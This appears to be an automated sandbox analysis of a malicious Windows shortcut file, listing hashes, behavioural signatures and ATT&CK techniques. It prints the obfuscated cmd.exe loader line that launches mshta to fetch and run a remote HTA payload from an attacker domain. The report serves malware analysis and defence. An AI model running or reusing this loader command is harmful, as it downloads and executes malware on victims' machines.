33647f2fae775562e70787ce8286688f3fd6fdec0ea7617345da3b670f4b825d

Analysis

max time kernel
38s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 19:37

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General

Target
FirmaPeru-UN3XLH.lnk
Size 2KB
Sample260803-ybvvdaam71
SHA256 33647f2fae775562e70787ce8286688f3fd6fdec0ea7617345da3b670f4b825d
MD5 7a90570cb3e83a5f784ab3f7d291eeb5
SHA1 a295555f6d12c755126abf9159bb65d8f30e162c
SHA512 a3c6cede2ab860b694a7e63576f28416ad94afb81fc94eb043ba6a0c2a88e34e4bf2bce52e9db3836b71b8043398404e3686a02f301a4972bf287074c12839fd
TLSH
T11A416B5039ED4198E2BBDF37D8FDA30044AA7D21AD72D64D1D40D18E5820B00F677B36
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4396	cmd.exe
4720	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 4720	4396	cmd.exe	87
PID 4720 wrote to memory of 2744	4720	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-UN3XLH.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4396
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set IBJ=datfpphrcmjsdjpdeutdat&set aIwqS=bakszpaqcimkyisbak&set MkH=cfgbnpanzwdmetecfg&set AO=rdms4h&&set lVu=r6ht&&set npbNC=ttam&set ls=infdmhrgyqxyoyyhinf&set jXN=systrfkndvdjenwfsys&set kUTX=tmpaysdvctclrtnrfinztmp&set SXZoP=netsbsasvmmpdtyjktnet&set PtgNP=rsh&&set TCi=3tataa9&&set goV=mksrtjc1&&set NK=h@tt@p@s:@//m-@fir@[email protected]@/h/es@tagi@[email protected]?r=261A6CF54682&&start /b !AO:~2,2!!lVu:~2,1!!npbNC:~1,2! !NK:@=!&&set Jdqc=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:2744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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